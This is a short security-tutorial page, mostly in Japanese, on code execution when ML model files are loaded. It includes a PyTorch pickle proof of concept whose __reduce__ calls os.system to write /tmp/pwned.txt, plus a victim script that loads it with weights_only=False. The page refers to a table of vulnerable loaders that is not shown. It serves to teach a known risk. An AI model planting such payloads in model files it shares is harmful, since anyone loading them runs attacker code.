Models RCE

Reading time: 7 minutes

Loading models to RCE

機械学習モデルは通常、ONNX、TensorFlow、PyTorchなどの異なる形式で共有されます。これらのモデルは、開発者のマシンや本番システムにロードされて使用されます。通常、モデルには悪意のあるコードが含まれていないはずですが、モデルのロードライブラリの脆弱性や意図された機能として、モデルを使用してシステム上で任意のコードを実行できる場合があります。

執筆時点でのこの種の脆弱性のいくつかの例は次のとおりです：

さらに、PyTorchで使用されるようなPythonピクルベースのモデルは、weights_only=Trueでロードされない場合、システム上で任意のコードを実行するために使用される可能性があります。したがって、上記の表にリストされていなくても、すべてのピクルベースのモデルはこの種の攻撃に特に脆弱である可能性があります。

例：

• モデルを作成する：

# attacker_payload.py
import torch
import os

class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")

• モデルをロードする:

# victim_load.py
import torch
import torch.nn as nn

class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)

model = MyModel()

# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))

# /tmp/pwned.txt is created even if you get an error